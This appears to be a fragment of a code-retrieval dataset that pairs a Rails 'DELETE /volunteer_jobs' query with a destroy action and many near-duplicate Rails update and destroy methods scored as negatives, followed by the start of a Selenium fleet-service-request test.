"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n format.js\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@jobapp = Jobapp.find(params[:id])\n\n respond_to do |format|\n if @jobapp.update_attributes(params[:jobapp])\n format.html { redirect_to @jobapp, notice: 'Jobapp was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jobapp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @scheduled_job.update(scheduled_job_params)\n format.html { redirect_to @scheduled_job, notice: \"Scheduled job was successfully updated.\" }\n format.json { render :show, status: :ok, location: @scheduled_job }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @scheduled_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @postjob.update(postjob_params)\n format.html { redirect_to @postjob, notice: 'Postjob was successfully updated.' }\n format.json { render :show, status: :ok, location: @postjob }\n else\n format.html { render :edit }\n format.json { render json: @postjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n if @job.update_attributes(params[:job])\n flash[:success] = \"The job has been updated!\"\n redirect_to root_url\n end\n\n end",
"def update\n @job = Job.find(params[:id])\n \n # todo:\n # add permission checking here\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @nanny_job.update(nanny_job_params)\n format.html { redirect_to @nanny_job, notice: 'Nanny job was successfully updated.' }\n format.json { render :show, status: :ok, location: @nanny_job }\n else\n format.html { render :edit }\n format.json { render json: @nanny_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @db_job.update(db_job_params)\n format.html { redirect_to @db_job, notice: 'Db job was successfully updated.' }\n format.json { render :show, status: :ok, location: @db_job }\n else\n format.html { render :edit }\n format.json { render json: @db_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_title = JobTitle.find(params[:id])\n\n respond_to do |format|\n if @job_title.update_attributes(params[:job_title])\n format.html { redirect_to @job_title, notice: 'Job title was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_title.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @worker_job.update(worker_job_params)\n format.html { redirect_to @worker_job, notice: 'Worker job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @worker_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_job(job:)\n response = HTTParty.put(\"#{@host}/api/jobs/#{job[:id]}\", body: {job: job, api_key: @api_key})\n \n return response.success?\n end",
"def update\n begin\n @job_request = job_requests.find( params[ :id ] )\n rescue ActiveRecord::RecordNotFound\n @job_request = nil\n end\n\n respond_to do |format|\n if @job_request && @job_request.update_attributes( params[ :job_request ] )\n format.html { redirect_to root_path, notice: \"Job Requests Updated Successfully\"}\n format.json { head :no_content }\n else\n format.html { redirect_to root_path, notice: \"Update Failed\" }\n format.json { render json: @job_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @db_job_status\n respond_to do |format|\n if @db_job_status.update(db_job_status_params)\n format.html { redirect_to @db_job_status, notice: 'Db job status was successfully updated.' }\n format.json { render :show, status: :ok, location: @db_job_status }\n else\n format.html { render :edit }\n format.json { render json: @db_job_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @device = Device.find(params[:device_id])\n @job = @device.jobs.find(params[:id])\n\n respond_to do |format|\n if !owner?(@job)\n flash[:error] = \"Dazu hast du keine Berechtigung!\"\n elsif @job.update_attributes(params[:job])\n ConflictHelper.delete_management(@device, @job.id-1)\n flash[:success] = \"Auftrag wurde erfolgreich geaendert\"\n format.html { redirect_to root_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_tag.update(job_tag_params)\n format.html { redirect_to @job_tag, notice: 'Job tag was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_tag }\n else\n format.html { render :edit }\n format.json { render json: @job_tag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to(edit_admin_job_path(@job), :notice => 'Job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @applied_job.update(applied_job_params)\n format.html { redirect_to @applied_job, notice: 'Applied job was successfully updated.' }\n format.json { render :show, status: :ok, location: @applied_job }\n else\n format.html { render :edit }\n format.json { render json: @applied_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update #:nodoc:\n job = Job.find(params[:id])\n job.enter(params[:status], params, request.headers)\n respond_with job, location: api_job_url(job)\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to(@job, :notice => 'Job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to(@job, :notice => 'Job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @saved_job.update(saved_job_params)\n format.html { redirect_to @saved_job, notice: t('saved_jobs_controller.saved_jobs_update_success') }\n format.json { render :show, status: :ok, location: @saved_job }\n else\n format.html { render :edit }\n format.json { render json: @saved_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_compact = JobCompact.find(params[:id])\n\n respond_to do |format|\n if @job_compact.update_attributes(params[:job_compact])\n format.html { redirect_to @job_compact, notice: 'Job compact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_compact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_item = @job.job_items.find(params[:id])\n\n respond_to do |format|\n if @job_item.update_attributes(params[:job_item])\n format.html { redirect_to [@job, @job_item], notice: 'Job item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @jobber.update(jobber_params)\n format.html { redirect_to @jobber, notice: 'Jobber was successfully updated.' }\n format.json { render :show, status: :ok, location: @jobber }\n else\n format.html { render :edit }\n format.json { render json: @jobber.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_folio = JobFolio.find(params[:id])\n\n respond_to do |format|\n if @job_folio.update_attributes(params[:job_folio])\n format.html { redirect_to @job_folio, notice: 'Job folio was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_folio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n format.json { head :ok } \n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n format.json { render :json => @job.errors, :status => :unprocessable_entity } \n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n if current_user.has_role?(\"employer\") and @job.finished.nil? and current_user.id == @job.employer_id\n respond_to do |format|\n if @job.update_attributes(params[:job]) and update_url(@job, params[:google_code_issue])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n else\n redirect_to :action => 'index'\n end\n end",
"def update\n @jobber = Jobber.find(params[:id])\n\n respond_to do |format|\n if @jobber.update_attributes(params[:jobber])\n format.html { redirect_to @jobber, notice: 'Jobber was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jobber.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6560337",
"0.64914775",
"0.6477605",
"0.6461418",
"0.64592385",
"0.6419217",
"0.64160067",
"0.63072014",
"0.6305497",
"0.6254279",
"0.6240452",
"0.6240452",
"0.6240452",
"0.6229798",
"0.62066555",
"0.6196746",
"0.6191166",
"0.61800814",
"0.61780137",
"0.61745924",
"0.6171486",
"0.6169943",
"0.6165608",
"0.61594355",
"0.61526144",
"0.6147445",
"0.6147246",
"0.61418694",
"0.6140754",
"0.6130463",
"0.6121183",
"0.6115816",
"0.6115272",
"0.61148405",
"0.6110893",
"0.6110893",
"0.6110893",
"0.6110893",
"0.6110893",
"0.6110893",
"0.6110893",
"0.6110893",
"0.6110893",
"0.6110893",
"0.6110893",
"0.6110893",
"0.6110893",
"0.6110893",
"0.61028355",
"0.60926896",
"0.6087058",
"0.607722",
"0.607663",
"0.6068777",
"0.60686684",
"0.6046656",
"0.60253805",
"0.6022508",
"0.60215604",
"0.60109603",
"0.60102814",
"0.59910315",
"0.59907776",
"0.5988786",
"0.5980225",
"0.5967309",
"0.59613013",
"0.59508127",
"0.5950631",
"0.59454805",
"0.5943948",
"0.5942094",
"0.59392893",
"0.5938142",
"0.5932368",
"0.58921915",
"0.58910394",
"0.58847713",
"0.58839256",
"0.58768994",
"0.58663553",
"0.5865853",
"0.58650947",
"0.58491737",
"0.58440715",
"0.5842927",
"0.58383244",
"0.58312696",
"0.5820731",
"0.58192784",
"0.58135027",
"0.58135027",
"0.58111537",
"0.5803882",
"0.5797222",
"0.57967824",
"0.5796619",
"0.5795016",
"0.5791861",
"0.5787107"
] |
0.73060834
|
0
|
DELETE /volunteer_jobs/1 DELETE /volunteer_jobs/1.json
|
def destroy
@volunteer_job = VolunteerJob.find(params[:id])
@volunteer_job.destroy
respond_to do |format|
format.html { redirect_to volunteer_jobs_url }
format.json { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @job = current_member.jobs.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @launched_job.destroy\n respond_to do |format|\n format.html { redirect_to launched_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to mentor_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with Job.find(params[:id]).delete\n end",
"def destroy\n #@job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = @user.jobs.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to :dashboard, notice: \"Job was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = @user.jobs.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to :dashboard, notice: 'Job was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize!(@job)\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @job = current_user.posted_jobs.find(params[:id])\n @job.try(:destroy)\n render json: {}\n end",
"def delete\n job_resource.delete\n end",
"def destroy\n @job = @user.jobs.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy \n @job = Mugen::Job.delete(params[:id])\n \n respond_to do |format|\n format.html { redirect_to(mygengo_jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job_compact = JobCompact.find(params[:id])\n @job_compact.destroy\n\n respond_to do |format|\n format.html { redirect_to job_compacts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to client_path(@job.client), notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @myjob.destroy\n respond_to do |format|\n format.html { redirect_to myjobs_url, notice: 'Myjob was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @applicant_job.destroy\n respond_to do |format|\n format.html { redirect_to applicant_jobs_url, notice: 'Applicant job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @db_job.destroy\n respond_to do |format|\n format.html { redirect_to db_jobs_url, notice: 'Db job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to app_jobs_path, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sfjob = Sfjob.find(params[:id])\n @sfjob.destroy\n\n respond_to do |format|\n format.html { redirect_to sfjobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@jobapp = Jobapp.find(params[:id])\n @jobapp.destroy\n\n respond_to do |format|\n format.html { redirect_to jobapps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @act_job.destroy\n respond_to do |format|\n format.html { redirect_to act_jobs_url, notice: 'Act job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @emp_job = EmpJob.find(params[:id])\n @emp_job.destroy\n\n respond_to do |format|\n format.html { redirect_to emp_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @saved_job = SavedJob.find(params[:id])\n @saved_job.destroy\n\n respond_to do |format|\n format.html { redirect_to saved_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pending_job.destroy\n respond_to do |format|\n format.html { redirect_to pending_jobs_url, notice: 'Pending job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @userjob.destroy\n respond_to do |format|\n format.html { redirect_to userjobs_url, notice: 'Userjob was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :destroy, @db_job_status\n @db_job_status.destroy\n respond_to do |format|\n format.html { redirect_to db_job_statuses_url, notice: 'Db job status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @postjob.destroy\n respond_to do |format|\n format.html { redirect_to postjobs_url, notice: 'Postjob was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job_item = @job.job_items.find(params[:id])\n @job_item.destroy\n\n respond_to do |format|\n format.html { redirect_to [@job] }\n format.json { head :ok }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to @job, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @medium_specie_job_inv = MediumSpecieJobInv.find(params[:id])\n @medium_specie_job_inv.destroy\n\n respond_to do |format|\n format.html { redirect_to medium_specie_job_invs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_status = JobStatus.find(params[:id])\n @job_status.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_job_statuses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @worker_job.destroy\n respond_to do |format|\n format.html { redirect_to worker_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n Job.destroy(params[:id])\n end",
"def destroy\n @job_posting.destroy\n respond_to do |format|\n format.html { redirect_to job_postings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @volunteer = Volunteer.find(params[:id])\n @volunteer.destroy\n\n respond_to do |format|\n format.html { redirect_to volunteers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @saved_job.destroy\n respond_to do |format|\n format.html { redirect_to saved_jobs_url, notice: t('saved_jobs_controller.saved_jobs_delete_success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_title = JobTitle.find(params[:id])\n @job_title.destroy\n\n respond_to do |format|\n format.html { redirect_to job_titles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_folio = JobFolio.find(params[:id])\n @job_folio.destroy\n\n respond_to do |format|\n format.html { redirect_to job_folios_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @create_job.destroy\n respond_to do |format|\n format.html { redirect_to create_jobs_url, notice: 'Create job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @volunteer.destroy\n respond_to do |format|\n format.html { redirect_to volunteers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, success: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @volunteer_task = VolunteerTask.find(params[:id])\n @volunteer_task.destroy\n\n respond_to do |format|\n format.html { redirect_to volunteer_tasks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @training_active_job = Training::ActiveJob.find(params[:id])\n @training_active_job.destroy\n\n respond_to do |format|\n format.html { redirect_to training_active_jobs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @job.destroy\n redirect_to root_url\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @jobber = Jobber.find(params[:id])\n @jobber.destroy\n\n respond_to do |format|\n format.html { redirect_to jobbers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @applied_job.destroy\n respond_to do |format|\n format.html { redirect_to applied_jobs_url, notice: 'Applied job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n flash[:success] = \"Job successfully destroyed\"\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_detail.destroy\n respond_to do |format|\n format.html { redirect_to job_job_details_url, notice: 'Job detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if UbiquoJobs.manager.delete(params[:id])\n flash[:notice] = t(\"ubiquo.jobs.job_removed\")\n else\n flash[:error] = t(\"ubiquo.jobs.cant_remove\")\n end\n\n respond_to do |format|\n format.html { redirect_to(ubiquo.jobs_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @nanny_job.destroy\n respond_to do |format|\n format.html { redirect_to nanny_jobs_url, notice: 'Nanny job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jobdemand.destroy\n respond_to do |format|\n format.html { redirect_to jobdemands_url, notice: 'Jobdemand was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jobtype = Jobtype.find(params[:id])\n if @jobtype.destroy\n render_json \"success\"\n else\n render_error \"failure\"\n end\n end",
"def destroy\n @import_job.destroy\n respond_to do |format|\n format.html { redirect_to import_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job_progress.destroy\n respond_to do |format|\n format.html { redirect_to job_progresses_url, notice: 'Job progress was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scheduled_job.destroy\n respond_to do |format|\n format.html { redirect_to scheduled_jobs_url, notice: \"Scheduled job was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @customer_job.destroy\n respond_to do |format|\n format.html { redirect_to customer_jobs_url, notice: 'Customer job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_hunting.destroy\n respond_to do |format|\n format.html { redirect_to job_huntings_url, notice: 'Job hunting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_request.destroy\n respond_to do |format|\n format.html { redirect_to @deal, notice: 'Job request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_notification = JobNotification.find(params[:id])\n @job_notification.destroy\n\n respond_to do |format|\n format.html { redirect_to job_notifications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @findjob.destroy\n respond_to do |format|\n format.html { redirect_to findjobs_url, notice: 'Findjob was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_assignment = @group.jobs.find(params[:id])\n @job_assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to group_jobs_path(@group) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jobposting.destroy\n respond_to do |format|\n format.html { redirect_to jobpostings_url, notice: 'Jobposting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_offer = JobOffer.find(params[:id])\n @job_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to job_offers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @grader_job.destroy\n respond_to do |format|\n format.html { redirect_to grader_jobs_url, notice: 'Grader job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.destroy(params[:id])\n redirect_to jobs_path\n end",
"def destroy\n @volunteer.destroy\n respond_to do |format|\n format.html { redirect_to volunteers_url, notice: 'Volunteer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jobsite.destroy\n respond_to do |format|\n format.html { redirect_to jobsites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @volunteer.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'volunteer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.73790056",
"0.731788",
"0.72712225",
"0.7236911",
"0.723433",
"0.7217059",
"0.7217059",
"0.7217059",
"0.7217059",
"0.7216241",
"0.7206061",
"0.72037226",
"0.71646094",
"0.7151036",
"0.7148282",
"0.71481603",
"0.71276057",
"0.71104103",
"0.7098183",
"0.7084551",
"0.7064156",
"0.7062968",
"0.70448375",
"0.7042752",
"0.70407873",
"0.7037586",
"0.7034077",
"0.70072466",
"0.69993275",
"0.69914347",
"0.69906825",
"0.69794965",
"0.6972637",
"0.6971506",
"0.69439757",
"0.69418025",
"0.6936982",
"0.693586",
"0.69342566",
"0.6933417",
"0.69326675",
"0.69241387",
"0.6920597",
"0.6920597",
"0.6920597",
"0.6920597",
"0.6920597",
"0.6920597",
"0.6920597",
"0.6920597",
"0.6920597",
"0.6920597",
"0.6920597",
"0.6920597",
"0.6920597",
"0.69142103",
"0.6899546",
"0.6897588",
"0.689407",
"0.6889262",
"0.6880863",
"0.6877226",
"0.6864712",
"0.68621445",
"0.6852985",
"0.68461174",
"0.6844957",
"0.68327165",
"0.68327165",
"0.68327165",
"0.68327165",
"0.68327165",
"0.68327165",
"0.68327165",
"0.68327165",
"0.68257654",
"0.6822915",
"0.6815279",
"0.6814216",
"0.68088746",
"0.68075657",
"0.6803857",
"0.68034077",
"0.6802155",
"0.6801784",
"0.6798264",
"0.6795306",
"0.6787118",
"0.67864466",
"0.6774683",
"0.67746115",
"0.67659146",
"0.6743881",
"0.67417127",
"0.6741519",
"0.6733715",
"0.6719806",
"0.6712775",
"0.67084575",
"0.6707835"
] |
0.7925121
|
0
|
Operation sperformed in FleetServiceRequest_FromDashboard script 1. User Login to application with valid credentials 2. User searches for a vehicle with unit and verifies the search results 3. Searches for a service location and verifies that the search results were displayed correctly 4. Creates service request for the searched service location and verifies the created fleet service request from home page
|
def test_FleetRequest_FromSearchPage
# Navigate to the volvo demo site
@driver.get $env
#1. Login to the application
Login($uname, $pwd, "1.0")
#2. Perform vehicle search with unit# and verify the search results
VehicleSearchWithUnit_No("222", "2")
#3. Perform service location search with location field and verify the search results
Search_Service_Location_With_Location("Dallas,TX", "3")
#4. Create service request for the searched vehicle and service location and submit the request.
Create_Service_Request("123","Engine failure", "Please respond immediately", "9876543210", "testdriver", "9876543210", "street1", "Dallas", "Virginia", "4")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
